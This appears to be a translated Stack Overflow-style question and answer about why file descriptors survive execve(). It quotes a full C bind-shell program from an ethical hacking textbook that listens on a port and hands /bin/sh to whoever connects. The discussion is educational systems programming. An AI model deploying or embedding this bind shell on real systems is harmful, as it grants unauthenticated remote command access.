为什么使用execve创建远程shell不会覆盖文件描述符和套接字?

时间:2018-02-13 19:07:57

标签: c linux sockets file-descriptor execve

所以我从 Gray Hat Hacking:The Ethical Hacker's Handbook,Fourth Edition 获得了这段代码:

#include<sys/socket.h>                 // libraries used to make a socket
#include<netinet/in.h>                 // defines the sockaddr structure
int main(){
        char * shell[2];               // prep for execve call
        int server,client;             // file descriptor handles
        struct sockaddr_in serv_addr;  // structure to hold IP/port vals
        server=socket(2,1,0);   // build a local IP socket of type stream
        serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
        serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
        serv_addr.sin_family=2;   // set native protocol family: IP
        bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
        listen(server,0);         // enter listen state, wait for connect
        client=accept(server,0,0);// when connect, return client handle
        /*connect client pipes to stdin,stdout,stderr */
        dup2(client,0);                // connect stdin to client
        dup2(client,1);                // connect stdout to client
        dup2(client,2);                // connect stderr to client
        shell[0]="/bin/sh";            // first argument to execve
        shell[1]=0;                    // terminate array with null
        execve(shell[0],shell,0);      // pop a shell
}

根据execve man page

  

execve()在成功时不返回,并且调用进程的text,data,bss和stack将被加载的程序覆盖。

所以不应该socket()的返回值,如果我理解的话,它是一个文件描述符,是否会被覆盖?
并且不应将文件描述符stdinstdoutstderr的重定向重置为默认值吗? 如果是这样,该程序如何运作? 我可能会对execve()函数或文件描述符有所了解。或许我完全错过了socket()功能。 Aren的文件描述符存储在堆栈中,或者存储到bss部分?

1 个答案:

答案 0 :(得分:2)

当通过其中一个exec函数执行新程序时,文件描述符关闭。如果是,则无法将终端中的stdin / stdout / stderr附加到适当的位置。

您错过了以下段落:

  

默认情况下,文件描述符在execve() 上保持打开状态。文件   标记为close-on-exec的描述符已关闭;看到了   描述             FD_CLOEXEC中的fcntl(2)。 (如果文件描述符被关闭,这将导致释放所有记录锁定   底层文件             通过这个过程。有关详细信息,请参阅fcntl(2)。)POSIX.1表示如果文件描述符0,1和2在关闭后将被关闭   成功             execve(),并且该进程将获得权限,因为在执行的文件上设置了set-user_ID或set-group_ID模式位,   然后系统可以为这些文件描述符中的每一个打开未指定的文件。 作为一般原则,没有便携式程序,是否   特权或             不,可以假设这三个文件描述符将在execve() 中保持关闭状态。